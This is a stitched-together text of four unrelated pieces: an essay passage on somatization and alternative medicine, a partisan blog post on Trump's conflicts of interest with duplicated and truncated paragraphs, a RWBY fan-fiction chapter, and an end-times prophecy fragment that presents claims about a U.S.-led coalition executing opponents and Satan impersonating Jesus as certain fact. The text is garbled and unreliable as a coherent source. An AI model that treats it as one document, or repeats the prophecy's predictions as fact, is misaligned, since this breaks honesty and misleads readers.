physical complaints can both arise from psychosocial distress and be alleviated by support and reassurance. At first glance, these symptoms (at various times called “psychosomatic,” “hysterical,” or “neurasthenic”) resemble those of recognized medical syndromes (Shorter 1992; Merskey 1995). Although there are many “secondary gains” (psychological, social, and economic) that accrue to those who slip into “the sick role” in this way, we need not accuse them of conscious malingering to point out that their symptoms are nonetheless maintained by subtle psychosocial processes. “Alternative” healers cater to these members of the “worried well” who are mistakenly convinced that they are ill. Their complaints are instances of somatization, the tendency to express psychological concerns in a language of symptoms like those of organic diseases (Alcock 1986; Shorter 1992). The “alternatives” offer comfort to these individuals who for psychological reasons need others to believe there are organic etiologies for their symptoms. Often with the aid of pseudoscientific diagnostic devices, fringe practitioners reinforce the somatizer’s conviction that the cold-hearted, narrow-minded medical establishment, which can find nothing physically amiss, is both incompetent and unfair in refusing to acknowledge a very real organic condition. A large portion of those diagnosed with “chronic fatigue,” “environmental sensitivity syndrome,” and various stress disorders (not to mention many suing because of the allegedly harmful effects of silicone breast implants) look very much like classic somatizers (Stewart 1990; Huber 1991; Rosenbaum 1997). When, through the role-governed rituals of “delivering treatment,” fringe therapists supply the reassurance, sense of belonging, and existential support their clients seek, this is obviously worthwhile, but all this need not be foreign to scientific practitioners who have much more to offer besides. The downside is that catering to the desire for medical diagnoses for psychological complaints promotes pseudoscientific and magical thinking while unduly inflating the success rates of medical quacks. Saddest of all, it perpetuates the anachronistic feeling that there is something shameful or illegitimate about psychological problems. Symptomatic relief versus cure. Short of an outright cure, alleviating pain and discomfort is what sick people value most. Many allegedly curative treatments offered by alternative practitioners, while unable to affect the disease process itself, do make the illness more bearable, but for psychological reasons. Pain is one example. Much research shows that pain is partly a sensation like seeing or hearing and partly an emotion (Melzack 1973). It has been found repeatedly that successfully reducing the emotional component of pain leaves the sensory portion surprisingly tolerable. Thus, suffering can often be reduced by psychological means, even if the underlying pathology is untouched. Anything that can allay anxiety, redirect attention, reduce arousal, foster a sense of control, or lead to cognitive reinterpretation of symptoms can alleviate the agony component of pain. Modern pain clinics put these strategies to good use every day (Smith, Merskey, and Gross 1980). Whenever patients suffer less, this is all to the good, but we must be careful that purely symptomatic relief does not divert people from proven remedies until it is too late for them to be effective. Many consumers of alternative therapies hedge their bets. In an attempt to appeal to a wider clientele, many unorthodox healers have begun to refer to themselves as “complementary” rather than “alternative.” Instead of ministering primarily to the ideologically committed or those who have been told there is nothing more that conventional medicine can do for them, the “alternatives” have begun to advertise that they can enhance conventional biomedical treatments. They accept that orthodox practitioners can alleviate specific symptoms but contend that alternative medicine treats the real causes of disease — dubious dietary imbalances or environmental sensitivities, disrupted energy fields, or even unresolved conflicts from previous incarnations. If improvement follows the combined delivery of “complementary” and scientifically based treatments, the fringe practice often gets a disproportionate share of the credit. Misdiagnosis (by self or by a physician). In this era of media obsession with health, many people can be induced to think they |
isn’t exactly denying any of the allegations, so much as he’s insisting that existing laws place no real limits on his private-sector activities.
Indeed, when he sat down with the New York Times last week, the president-elect
Later in the interview, he
Feel better about potential corruption in the Trump White House?
The way the system is designed to work, shame is supposed to create powerful incentives that presidents and presidents-elect should want to honor. But as One of the key challenges at this point is simply keeping track of all of the problematic areas. Scotland is certainly near the top of the most controversial conflicts – Trump has already admitted discussing one of his foreign investments with a foreign official since Election Day – and Argentina isn’t far behind.But let’s not forget Turkey. And Georgia (the country, not the state). And the Philippines. And India. And Brazil. And Saudi Arabia Meanwhile, we still don’t know why Trump had his daughter, who’ll help run his business enterprise, join him for a meeting with the Japanese prime minister – or why Ivanka Trump also chatted with the Argentinian president For his part, Trump isn’t exactly denying any of the allegations, so much as he’s insisting that existing laws place no real limits on his private-sector activities.Indeed, when he sat down with the New York Times last week, the president-elect said, “As far as the, you know, potential conflict of interests, though, I mean I know that from the standpoint, the law is totally on my side, meaning, the president can’t have a conflict of interest…. [I]n theory, I can be president of the United States and run my business 100 percent.”Later in the interview, he added, “[T]he president of the United States is allowed to have whatever conflicts he wants.”Feel better about potential corruption in the Trump White House?The way the system is designed to work, shame is supposed to create powerful incentives that presidents and presidents-elect should want to honor. But as Rachel explained on the show the other day, Donald J. Trump has his own preferred approach:
“The president is not necessarily bound by the same conflict of interest laws as other members of the government, rules that say you can’t use the government or use your office to enrich yourself. One of the greatest barriers to that kind of impropriety for a president is supposed to be the desire of a president to avoid the appearance of any kind of impropriety.
“In other words, the seat belt here is supposed to be shame. Shame is supposed to guard the office from looking like it could be bought and paid for…. This system was not designed for somebody who doesn’t mind violating the ethical expectations around the presidency. This system is not designed for somebody who doesn’t care if people know that he is self-dealing.”
And so, congressional Republicans, the nation turns to you and wonders what kind of oversight, if any, Americans can expect. How comfortable are House and Senate GOP leaders with a president-elect who appears to be eager to use his office to enrich himself and his family? How far will elected officials lower the bar for propriety in order to accommodate the suspected con man who’ll soon occupy the Oval Office?
The Washington Post’s E.J. Dionne Jr. Ordinarily, we might expect reckless politicians, having thrown away their ethical compass, to at least try to hide their shady actions, but Trump is a man without shame. He’s aware of the blatant conflicts, which he doesn’t deny, and responds to questions by boasting that he can act with impunity because he’ll soon be the president.And so, congressional Republicans, the nation turns to you and wonders what kind of oversight, if any, Americans can expect. How comfortable are House and Senate GOP leaders with a president-elect who appears to be eager to use his office to enrich himself and his family? How far will elected officials lower the bar for propriety in order to accommodate the suspected con man who’ll soon occupy the Oval Office?The Washington Post’s E.J. Dionne Jr. added today, “If Trump wasn’t ready to put his business life behind him, he should not have run for president. And if Republicans — after all of their ethical sermons about [Hillary] Clinton — do not now demand that the incoming president unequivocally cut all of his and his family’s ties to his companies, they will be fully implicated in any Trump scandal that results from a shameful and partisan double standard.”Chapter 6
Hello everyone, and welcome to yet another chapter of For the Future. For reviewers, I am indeed doing EVERY. SINGLE. EPISODE. Yeah, I'm a mad thing. But I believe I can do this. Also, over 100 followers. Thank you all so much. Ever since I joined this site that was one of my goals, now to make another one. Also, something I will maybe do especially during Volume 1 is that I may combine episodes if I feel like it is too short. So episode 4 might be combined with episode 5.
Now without further ado, let's begin.
I don't own RWBY. That honour belongs to Roosterteeth and Monty Oum.
After seeing that last vision, they were all pretty excited to see what is in store for them. Rachel decided to ask everyone. "So, what did everyone think?"
"Some good old fashioned head bashing!" Odin yelled while stuffing his face full of popcorn. The crumbs either stuck to his beard or fell on the floor making Willow wrinkle her nose in disgust.
But because she did ask everyone in the room, the Schnee replied. "I for one believe Ruby has her heart in the right place. But she is foolish to think the job of a Huntress is all fame and romance."
"Sadly, Willow is right." Hanako chipped in. "It may seem like a fun job, but the fact is it's not. Seeing all the death, the burden on your shoulder when you can't save everyone. It is exhausting. If it wasn't, then everyone would be doing it."
Summer agreed with Willow. But she just hopes Ruby realises in time how important being a Huntress is. And hopefully, not end up like she is going to be. Six feet under.
But then the screen turned white and she was back to her happy self. "Everyone shush!"
The multiple Bullheads were touching down on Beacon soil to drop off all of the students. As they were all walking towards the exit, that same blonde boy came running to a trashcan to throw up in it and groaned, feeling awful. It then cut to the two sisters as they stared in awe at the magnificent building known as Beacon Academy. The two let out a quiet "Wow." at the sight.
All the adults smiled in pride at seeing the academy. It seems to have improved with age, keeping up with the new technology. "I wonder how Haven Academy looks like these days." Athena mused.
Alexandros smiled and wrapped an arm round his wife. "I'm sure it will look amazing."
Yang smiled and folded her arms. "The view from Vale's got nothing on this."
Suddenly, Ruby saw someone walk past with a weapon, making her turn into a chibi version of herself all excited, while Yang just stared unamused. "Sis! That kid's got a collapsible staff! Oohh! And she's got a fire sword!"
She then tried to run over to the girl, but Yang stopped her by grabbing her hood and dragging her back with Ruby letting out small. "Ows."
Everyone turned and stared at Summer who was blushing hard from embarrassment, and Qrow chuckled a little. "Like mother like daughter as they say."
"...Shut up Qrow."
"Easy there little sister." Yang said. "They're just weapons."
Ruby looked at Yang like she was insane. "JUST weapons? They're an extension of ourselves. They're a part of us! Oh they're so cool..."
"Well, why can't you swoon over your own weapon? Aren't you happy with it?"
She saw Ruby umfolding her scythe and hugging it. "Of course I'm happy with Crescent Rose. I just really like seeing new ones. It's like meeting new people, but better."
"Oh no..." Both Taiyang and Qrow groaned placing their hand on their heads. "She is so into weapons she prefers them over friends."
Walter cleared his throat. "Well, she is certainly... enthusiastic about them... right?"
"More like borderline creepy." Adam muttered. "I wouldn't be surprised if she sleeps with her scythe."
"Don't say that!" Taiyang yelled burying his head in his hands.
Yang rolled her eyes and pulled Rubys hood over her head, making her sister squeak in surprise. "Ruby, come on. Why don't you try to make some friends of your own?"
"But. Why would I need friends when I have you?" Ruby looked at her while pulling her hood down.
"Weeelll, actually my friends are here now, gotta go, catch up with you later bye!"
Ruby was in a confused state as Yang ran off with her friends leaving Ruby all dizzy as they ran past her. "Where are you going? Are we supposed to go to our dorms? Where are our dorms? Do we have dorms? Ugh, I don't know what I'm doing..."
She then fell over after her dizziness got to her head and she knocked over a bunch of briefcases. "What are you doing?!"
Ruby gulped as she was in trouble. "I-I'm sorry."
She then looked to see a girl with piercing blue eyes, glaring at her. This was Weiss Schnee. "Sorry? Do you have any idea if the damage you could've caused?"
Ruby again didn't know what to say as she tried to help by giving the girl a briefcase only to have it snatched from her. "Give me that!"
Willow gasped happily seeing her daughter all grown up. Though everyone else didn't like her attitude. Rachel glared at the screen. "She's so rude."
"There's a Schnee that's a bitch? Stop the fucking presses." Qrow muttered sarcastically, swigging his beer. His comment earned him a glare from Walter and Willow, but they decided to not say anything as they learn at this point Qrow is just a jerk.
Weiss opened the case to make sure nothing was broken. "This is Dust! Mined and purified from the Schnee Quarry."
She saw Ruby still had a blank stare and took out a bottle of Fire Dust. "What are you, brain dead? Dust! Fire, Water, Lightning, Energy!"
They all saw Weiss shaking it and the cloud heading towards Ruby and they all grew nervous. "Why is she being so reckless with the Dust?" Summer asked.
Willow cursed in her head. 'I'm pretty sure I taught my daughters in the future how to handle this stuff.'
Odin closed his eyes, bracing himself as if he thinks he is right next to the two. "Things are going to go boom."
"Are you even listening to me? Is ANY of this sinking in?" Weiss yelled, seeing Ruby act all twitchy. "What do you have to say for yourself?"
All she got for a response was a sneeze which created an explosion, engulfing Weiss and causing her to drop the bottle of Fire Dust.
Most of the people in tje room burst out laughing at the demise of the Heiress. Willow however, was annoyed at how Weiss treated Dust. Even the rookies at the company know how to handle it.
Hanako let out an amused chuckle. "Wow. She set off a lot with one sneeze. I think I saw Ice and Lightning in that explosion."
The bottle fell to the ground and rolled to a pair of feet. The person picked it up to reveal a girl with Black hair and Amber eyes wearing a bow and reading a book. This was Blake Belladonna.
Needless to say, Adam was surprised. 'How the hell did Blake get into Beacon? She doesn't have any education. She grew up with me and the White Fang.'
Ozpin smiled at the girl. "Well, it is a certain change from robbing trains."
"And... you would let her attend?" Willow raised an eyebrow.
"In life, you must learn to forget the past and focus on the present as well as look to the future. I believe her ambitions to be good now. It is sad the White Fang has turned this way, but at least Blake understands this and wants to do better in life."
Adam just looked down in deep thought. Was the White Fang the reason Blake left? She truly leaves in the future. To be a Huntress, rather than fight for her kind.
He gritted his teeth and shook his head. 'Good riddance. Who needs her anyway? I can do much better on my own.'
His thoughts were soon interrupted by Weiss screaming at Ruby.
Ruby herself was prodding her fingers together in shame as Weiss railed on her. "Unbelievable! This is exactly the kind of thing I was talking about!"
"I'm really REALLY sorry..." Ruby tried to say but was interrupted. "Ugh! You complete DOLT! What are you even doing here? Aren't you a littke young to be attending Beacon?"
"Well I..."
"This isn't your ordinary combat school! This isn't just sparring and practice you know. We're here to fight monsters. So... Watch where you're going!"
That's when Ruby had enough and snapped at her. "Hey, I said I was sorry Princess!"
Everyone was starting to not like Weiss. For Walter and Willow, they didn't like how she was just stomping on everyone, feeling like she is the queen. They didn't let Winter do that and they would certainly not allow Weiss to do that either. She needed to learn to keep her mouth shut.
"It's Heiress actually." The two turned to see Blake coming up to them. "Weiss Schnee. Heiress to the Schnee Dust Company. One of the largest producers of energy propellant in the world."
Weiss had a smug smile. "Finally, some recognition!"
However Blake continued to explain other features. "The same company infamous for its controversial labour forces and questionable business partners."
Willow was at a loss for words as she heard what Blake said. "No... No, that's not true! I never do shady dealings, I would never allow this!"
The information of her company going into the gray area was too much for her as she fainted. Walter sighed and laid her on the floor. "Poor Willow. She will be fine everyone, just too much information."
Weiss was sputtering, lost for words as Ruby giggled at her stumped nature. She was already liking Blake for putting this girl in her place. Weiss instead just scoffed, and snatched her bottle of Dust off Blake and stomped away.
Ruby then yelled. "I promise I will make this up to you!"
She sighed as men in suits carried away the rest of the Dust away. "I guess I'm not the only one having a rough first day. So, what's-"
Ruby went to talk to Blake but she was already walking away. Feeling all alone, she collapsed to tje ground and muttered. "Welcome to Beacon."
She then heard someone walking up to her and opened her eyes to see a hand to help her up. Ruby saw it was the blonde guy from the ship. "I'm Jaune."
Smiling, she took his hand. "Ruby." As she was helped up, she stifled a laugh. "Aren't you the guy who threw up on the ship?"
Taiyang grew nervous seeing Rachel with stars in her eyes. "Uuuhhhh, are you... okay?"
"Of course I am! Because I am seeing my future daughter in lawww!" She squealed but the comment caused Qrow to spit out his drink in shock.
"Woah woah woah! Who says they are getting together?"
Rachel huffed folding her arms. "I want grandchildren okay! And seeing my baby boy here means he will find a girlfriend, and he will marry her and I will have grandkids!"
Everyone sweatdropped seeing her state. And Summer cleared her throat. "While I agree Ruby and Jaune would be cute, there are other girls."
"Oh, not to worry. I am analysing each girl he interacts with to see if they are perfect for my little baby!"
"She is creeping me out." Taiyang whispered to Qrow who nodded in agreement.
The two were now walking through the courtyard as Jaune tried to defend himself. "All I'm saying is that motion sickness is a much more common problem than people let on."
Ruby smiled at him. "Look I'm sorry, Vomit Boy was the first thing that came to mind."
"Oh yeah? What if I called you Crater Face?" Jaune retorted.
"Hey, that explosion was an accident!"
"Well the names Jaune Arc!" He exclaimed. "Short, sweet, rolls of the tongue. Ladies love it."
Ruby however, was not convinced. "Do they?"
"T-They will! Well, I hope they will. My mom always says that uhhh... nevermind."
Everyone was starting to realise that Jaune may have been a bit too pampered by Rachel growing up. "Don't you worry sweetie! The girls will love you!"
Ruby chuckled nervously and decided to change the subject. "Sooooo... I got this thing."
She unfolded her weapon, which scared Jaune. "Woah! Is that a scythe?"
"It's also a customisable, high impact sniper rifle." That explanation left Jaune clueless. "What?"
Ruby cocked her weapon. "It's also a gun."
"Oh, that's cool!" Jaune exclaimed now understanding. Ruby observed him trying to find his own.
"So what do you got?"
Jaune suddenly got nervous and drew out a double edged blade. "I uhhh, got this sword."
"Ooohhhh." Ruby did look interested as Jaune also brought out a shield. "I got this shield too."
"So what do they do?" Ruby asked as she went to touch it but Jaune panicked as it sprung out his grasp and he stumbled trying to catch it.
He chuckled nervously again, retracting the shield. "The shield gets smaller, so when I get tired of carrying it. I can just... put it away."
"But... wouldn't it weigh the same?"
"Yeah it does." Jaune muttered, now deflated.
"Impressive." Ozpin chimed in. "You don't see much of those kinds of weaponry nowadays. It is just flashy transforming weapons, nothing like the old ones which were more... simple."
Rachel wasn't listening as she narrowed her eyes at the weapon. 'Great Grandpas Crocea Mors! But why does Jaune have it? It makes no sense, it wasn't meant to be used anymore it should be hanging on top of our fireplace! Jaune why are you at Beacon? Did we send you to it?'
Ruby giggled again as she examined Crescent Rose. "Well, I'm kind of a dork when it comes to weapons. Guess I did go a little overboard in designing it."
"Wait, you made that?"
"She MADE that?" Everyone yelled.
Athena clutched her head. "Goodness, the children are getting more and more ridiculous these days!"
"You're telling me!" Taiyang exclaimed. "The most complicated wealon I've seen is Qrows sword."
Alexandros sighed. "I'm probably going to regret this, but what is Qrows sword?"
The red eyed man grinned as he went to explaining. "it's a single edged blade that has a gun in it and can also transform into a scythe."
"...is that really necessary?"
"Hey, it's good to have variety."
"Of course! All students at Signal forge their own weapons. Didn't you make yours?"
"It's a hand me down." Jaune explained. "My great great grandfather used it to fight in the war."
"Sounds more like a family heirloom to me." Ruby chirped. "Well, I like it! Not many people have an appreciation for the classics these days."
"Yeah." Jaune half heartedly agreed. "The classics."
"So why did you help me out back there? In the courtyard?" Ruby asked, but all she got was a shrug.
"Eh, why not? My mom always says, strangers are just friends you haven't met yet."
"Hm." Ruby mused on that but looked aroumd. "Hey, where are we going?"
"Oh, I don't know! I was following you. You think there mught be a directory? Maybe a food court? Maybe a recognisable landmark?"
Ruby just snorted and laughed at him. "Is that a... no?"
"That's a no." She replied.
Everyone smiled at the two, being dorks and Rachel squealed. "Oh, they will be the bestest of friends!"
Alexandros raised an eyebrow. "What happened to her being your future daughter in law?"
"Nah, it will never work out."
"WHAT?!" Summer yelled about to pounce on her but Qrow and Taiyang held her back. "My daughter isn't good enough for your son?!"
"No, she's just more interested in weapons than boys."
Summer tried to retort but ended up deflated in her chair. "Yeah, you're right..."
Taiyang and Qrow looked at each other. It may be possible Ruby won't be getting any boyfriends anytime soon, they suddenly grinned at each other and fist bumped with Summer not looking.
They then comforted her. "Don't worry Summer. It's not the end of the world."
She smiled sadly. "I guess... and there is always Yang to give me grandchildren."
The two suddenly froze at that name. They had completely forgotten about Yang. And she wasn't exactly into weapons! And judging from her vision, she is quite the flirt. The two men then had taken a sulking position on their chairs making everyone sweatdrop.
Willow, who had now woken up cleared her throat. "I think the next vision is coming on."
Odin tapped his chin and groaned. "When do we get to see fighting?! I grow tired of these non violent scenes!"
Hanako chuckled and patted his shoulder. "Calm now Odin. I'm sure we will see some fighting soon. Now hush, the vision is starting."
Ruby and Jaune were now entering the huge building of Beacon Academy where a crowd was gathered in the huge auditorium. As they looked around, Ruby heard her sister. "Ruby! Over uere, I saved you a spot!"
"Oh!" Ruby turned to Jaune. "Hey uh... I gotta go. I'll see you after the ceremony!"
She then ran off as Jaune tried to call out to her. "Hey, wait!" But she was already gone.
Jaune sighed and shook his head. "Great. Where am I supposed to find another nice quirky girl to talk to?"
He then took his place in the crowd, not noticing a red haired woman looking over at him.
Athena smiled brightly seeing her daughter Pyrrha in Beacon. Not a total shock, she has turned into quite the prodigy at her age. Though she saw her husband grow nervous when Rachels eyes sparked and smiled after seeing another potential wife for her son.
She giggled at Alexandros distressed state. Personally, she wouldn't mind if Jaune started dating Pyrrha. He seems like a nice noy.
Now the sisters were back together, as Yang asked. "How's your first day going little sister?"
Though Ruby was not happy with her from earlier. "You mean since you ditched me and I exploded?"
"...Yikes. Meltdown already?"
Ruby shook her head and tried to explain. "No, I literally exploded a hole in front if the school! And there was some fire, and I think some ice."
Yang smiled, and leaned towards her, still not understanding it. "Are you being sarcastic?"
"How is Yang so slow to understand this?" Taiyang muttered.
"Well, it's not everyday you hear somebody explode." Qrow replied.
That's when Ruby scoffed and started going on a rant about what happened, not noticing Weiss was behind her. "I wish! I tripped over some crummy girls luggage, and then she yelled at me! And then I sneezed, and then I exploded! And then she yelled again, and I felt really, really bad and I just wanted her to stop yelling at me."
"YOU!" Ruby screamed and jumped into Yangs arms, surprising the blonde.
"Oh god, it's happening again!"
Weiss placed her hands on her hips and continued to scold the poor girl. "You're lucky we weren't blown off the side of the cliff!"
"Oh my god, you really exploded..."Yang muttered.
Ruby now jumped out of Yangs arms and tried to explain. "It was an accident! I-It was an accident!"
She was stopped by Weiss shoving a pamphlet in her face. "What's this?"
The Heiress then spoke in a speech that must have been pounded into her head growing up. "The Schnee Dust Company is not responsible for any injury or damages sustained while operating at Schnee Dust Company product. Although not mandatory, the Schnee family highly encourages our customers to read and familiarise themselves with this easy to follow guide and application and practise in the field."
As she was explaining, her voice became higher and more fast paced as Ruby just had trouble understanding what she said. "Ummm..."
Everyone just had stumped expressions, after hearing Weiss say that but Wilow had a smile of pride. "Perhaps there is hope for her yet."
"You really want to start making things up to me?" Weiss asked.
Ruby meekly nodded and replied. "Absolutely."
"Read this and don't ever speak to me again." She snapped shoving the pamphlet into Rubys chest and Yang decided to cut in.
"Look, uhhhh. It sounds like you two just got off on the wrong foot. Why don't you start over and try to be friends, okay?"
Ruby nodded, agreeing with Yang and stuck her hand out to Weiss. "Yeah! Great idea sis! Hello Weiss, I'm Ruby. Wanna hang out? We can go shopping for school supplies."
"Yeah!" Weiss cheered, agreeing with her in a sarcastic way. "And we can paint our nails, and try on clothes and talk about cute boys like tall, blonde and... Scraggly over there."
Jaune perked up in the background when he heard that description and Ruby got excited. "Wow, really?"
Weiss just had a frown on her face as she said in a steely voice. "No."
Qrow rolled his eyes. "Jeez, would it kill this chick to smile?"
Willow narrowed her eyes at Weiss. 'Why is she acting like this? If she is going to be a Huntress she will need allies. And this is not getting allies.'
They were then interrupted by a clearing of a throat and saw Ozpin on the microphone. "I'll... keep this brief. You have travelled here today in search of knowledge. To hone your craft and aquire new skills. And when you finish, you plan to dedicate your life to the protection of the people. But I look amongst you, and all I see is wasted energy. In need of purpose. Direction. You assume knowledge will free you of this. But your time at this school will prove that knowledge can only carry you so far. It is up to you, to take the first step."
They all smiled at the speech and Rachel even clapped. "WOOOO!"
Hanako chuckled and loo,ed at the headmaster. "I must say Ozpin, that was very inspiring."
"Of course. When students step into an academy for the first time, they are left without a purpose, and a direction. It is our jobs as teachers to guide them on the right path and make sure they do not succumb to darkness."
Yang and Ruby were uncertain after hearing Ozpins speech. That's when Glynda took over the microphone to instruct the students. "You will gather in the ballroom tonight. Tomorrow, your initiation begins. Be ready. You are dismissed."
"He seemed kind of... off." Yang noted looking at her sister.
Ruby agreed. "Almost like he wasn't even there."
That's when Jaune popped in and grinned at Weiss. "I'm a natural blonde you know."
Weiss just sighed and face palmed at having to deal with this so early, while Ruby and Yang just looked at him.
Later on, everyone was gathering in the ballroom, all dressed in their pyjamas. Some were messing around, while others were getting to go to sleep. Ruby however, wasn't doing any of that. She was dressed in her white pyjama bottoms with pink roses and black tank top with a beowolf heart design, writing a letter. She also had a black sleeping mask on her forehead which had two red eyes to represent a Grimm.
Taiyang did not like this one bit. She was here, in the ballroom. With all those boys walking around. 'Then again, it's not Ruby I'm worried about. It's Yang.'
Yang flopped down next to her sister, dressed in an orange tank top and black shorts. "It's like a biiiig slumber party!"
"I don't think dad would approve of all the boys though."
"I know I do." Yang purred seeing all of the topless men around the room, though she was snapped out of it when Jaune walked by in his blue onesie.
"Taiyang please calm down." Summer scolded him seeing him quiver with frustration. "She is a woman, she is allowed to date boys."
"She's still my little girl!"
Summer groaned and massaged her temples. She had a feeling Taiyang would be like this.
Glynda raised an eyebrow at a different person. "Is nobody going to mention Mr Arc is in a onesie?"
They all turned to Racjel who smiled nervously. "My little boy might get the sniffles..."
Yang then saw what Ruby was doing. "What's that?"
"A letter to the gang back at Signal." Ruby replied. "I promised to tell them all about Beacon and how things are going."
"Awwwww, that's soooo cuuute!" Yang teased which in return got a pillow to her face.
"Shut up! I didn't get to take my friends with me to school, it's weird not knowing anyone here..."
Summer sighed as she looked at her daughter, remembering herself being the exact same before meeting Team STRQ. Alone and having no friends. Though unlike Ruby, she wasn't accepted two years early.
"What anout Jaune? He's... nice." Yang said noting the guy Ruby was talking to. "There you go! Plus one friend, that's a hundred percent increase."
Ruby scoffed and laid on her back. "Pretty sure Weiss counts as a negative friend. Back to zero."
"There's no such thing as negative friends. You just made, one friend and one enemy!" Again, Yang got a pillow thrown at her face from her annoyed sister and Yang sighed.
"Look, it's only been one day. Trust me, you've got friends all around you. You just haven't met them yet."
They heard the sound of a match being lit and looked to see Blake in her own nightwear reading a book, with a candle near her. "That girl..."
Odin pouted a little seeing what she had. "Vile books! Why is she reading something as boring as that?"
Adam chuckled a little seeing Blake. "Well, she loves books. A lot. Some might say she is obsessed."
Hanako raised an eyebrow at Adam. "I thought she is four years old?"
"Exactly. And at such a young age, she has cleaned out the local library we occasionally go to."
"You know her?" Yang asked her sister to which Ruby nodded.
"Not really. She saw what happened this morning but left before I could say anything."
Yang grinned and grabbed Rubys hand. "Welp. Now's your chance!"
"W-Wait! What are you doing?!"
Blakes eyes narrowed in annoyance as she slowly looked up from her book to see Yang dragging a struggling Ruby behind her. "Heellloooooo!"
Ruby finally broke free and turned her back while Yang continued to talk. "I believe you two may know each other?"
"Aren't you that girl who exploded?" Blake asked looking at Ruby who turned back around.
"Uh, yeah." Ruby laughed nervously and extended her hand. "I'm Ruby. But you can just call ke crater... actually you can just call me Ruby."
"Okay." Blake mumbled going back to her book while Yang whispered at her sister.
"What are you doing?"
"I don't know help me!" Ruby whispered back before going back to smiling and Yang decided to start a conversation. "So, what's your name?"
"Blake."
"Well, Blake. I'm Yang. Ruby' older sister! I like your bow."
"Thanks." Blake mumbled clearly getting irritated.
"It goes great with your... pyjamas!"
"...right."
Things were not going so well as the two chuckled nervously. "Nice night don't you think?"
Alexandros sighed and rubbed his eyes. "This is the worst attempt at making friends ever."
"I agree." Taiyang said. "Not even Summer was this bad and she was the most socially awkward girl ever."
Feeling his partners heated stare, he looked innocently at her. "What? It's true."
She huffed and went to pull her hood up, only to realise she left it back in her room. Now she was in a more bad mood.
"Yes. It's lovely, almost as lovely as this book." Blake replied. "That I will continue to read."
Seeing them still there, she decided to flat out say it. "As soon as you leave."
Sighing, knowing that they were getting nowhere, Yang gave up. "Yeah, this girl's a lost cause."
"What's it about?" Blake looked up at Ruby, surprised at what she said. "Huh?"
"Your book." Ruby repeated. "Does it have a name?"
"Well, i-it's about a man with two souls." Blake explained. "Each fighting for control over his body."
"Oh yeah... that's real lovely." Yang sighed, clearly not interested. But Ruby was.
"I love books. Yang used to read to me every night before bed. Stories of heroes and monsters. They're one of the reasons I want to be a Huntress."
"And why is that?" Blake asked, suddenly amused. "Hoping you'll live happily ever after?"
"Well I'm hoping we all will." Ruby replied. "As a girl, I wanted to be just like those heroes in the books. Someone who fought for what's right and who protected people who couldn't protect themselves."
Blake took in her words and smiled. "That's very ambitious for a child. But unfortunately, the real world isn't the same as a fairytale."
"Well, that's why we're here." Ruby said, smiling brightly. "To make it better."
Everyone smiled at Rubys dedication to being a Huntress, though they all knew Blake was right. Willow sighed and spoke to the screen. "Let me tell you something Ruby. Life is not a fairy tale, and there are no happy endings."
(See if anyone can recognise this line. Hint, it's a video game beginning with A)
Summer nodded. "I hope eventually Ruby will realise this, and be ready for the horrors you have to face."
That's when Yang came and started hugging her sister. "Ooohhh, I'm so proud of my baby sister!"
Ruby struggled and yelled. "Cut it out!" Before the two started fighting and Blake chuckled a little.
"Well, Ruby, Yang. It's a pleasure to-"
"What in the world is going on over here?" Weiss stomped towards them in her night gown. "Don't you realise some of us are trying to sleep?"
That's when she and Yang locked eyes and screamed. "OH NOT YOU AGAIN!"
Ruby shushed them both and agreed with Weiss. "Sh! Guys, she's right. People are trying to sleep."
Blake rolled her eyes realising she was not getting to read her book. "Oh, so NOW you're on my side."
"I was always on your side!" Ruby retorted.
Yang had enough of this girls attitude and glared at her. "Yeah, what's your problem with my sister? She is only trying to be nice."
"She is a hazard to my health!"
Blake then grabbed her candles and blew them out, and the screen went black, signalling the end of the vision.
Everyone didn't know what to say as Hanako cleared her throat. "That was... interesting."
Though Taiyang wheeled over to Willow. "What is your daughters problem?! Ruby is onky trying to be nice!"
"How in the world should I know? She isn't like this right now. I just hope Winter isn't like this either..."
Rachel frowned and looked at the Schnee too. "Who's Winter?"
"Oh, not important, just my eldest daughter. No more questions."
Summer was smiling, seeing Ruby at Beacon. "She will be like us! The coolest team! The best team ever to graduate Beacon!"
Adam raised an eyebrow, afraid to ask. "And what exactly was your team?"
Summer smiled brightly which made Adam nervous. "Glad you asked."
She nodded at her teammates before they stood up, and started doing a well rehearsed choreographed dance. "We are the Protectors of Justice!"
"The Cruushers of Crime!" Taiyang yelled.
"The Hope for all those in need!" Summer grinned.
"The four incredibly good looking, super cool Hunters." Taiyang added as the three did a pose and yelled in unison.
"WE ARE. TEAM STRQ!"
The rest were just dumbfounded, while Summer just deflated. "It isn't the same without Raven..."
Qrow shrugged as he took a drink from his bottle. "Not much we can do from that, we just have to make do. Good job you said her line."
Athena covered her face as her cheeks burned with embarrassment. "Please tell me you never did that in public."
Summer looked offended. "It shows our team is to be feared. Our dance will also show just how awesome we are!"
"...I hope to Dust that Weiss doesn't do something like this." Willow muttered trying to hide her face.
Rachel however, was different as she clapped a little. "It was very creative! Reminds me of that comic that my children love to read."
"Nothing preps a team up like a good routine!" Odin yelled. "It shows how pumped up we can be!"
Hanako sighed loudly as she also covered her face. "Just... start the next vision."
And that's a wrap! Now, I added a little dance routine because in my head Team STRQ were dorks, and so Summer suggested doing a dance routine like the Ginyu Force from Dragonball, which just weirds out everyone. Anyway, Shining Beacon both parts are done. Tune in next time for more.
Favourite, Follow, Review.
Safety and Peace and I will see you guys |
counterfeit revival are the cause of all the world’s woes (Daniel 11:44). They will disqualify them from buying and selling (Revelation 13:16, 17), but the Bible promises that food, water, and protection for God’s people will be sure (Isaiah 33:16; Psalm 34:7). As his crowning miracle, Satan will impersonate Jesus.
15. In desperation, the U.S.-led coalition will decide to impose the death sentence on its enemies (Revelation 13:15). What does Revelation 13:13, 14, say its leaders will do to convince people that God is with them? Answer: They will work miracles—so convincing that everyone except God’s faithful end-time people will be persuaded (Matthew 24:24). Utilizing the spirits (fallen angels) of Satan (Revelation 16:13, 14), they will impersonate dead loved ones (Revelation 18:23) and probably
even pose as Bible prophets and apostles. These lying (John 8:44) demonic spirits will doubtless
claim that God has sent them to urge all to cooperate.
Satan Appears as Christ; His Angels Pose as Christian Ministers
Satan’s angels will also appear as godly clergymen, and Satan will appear as an angel of light
(2 Corinthians 11:13–15). As his crowning miracle, Satan will claim to be Jesus (Matthew 24:23, 24). While impersonating Christ, he could easily claim that he changed Sabbath to Sunday and urge his followers to proceed with their worldwide revival and uphold his “holy” day—Sunday.
Billions Are Deceived
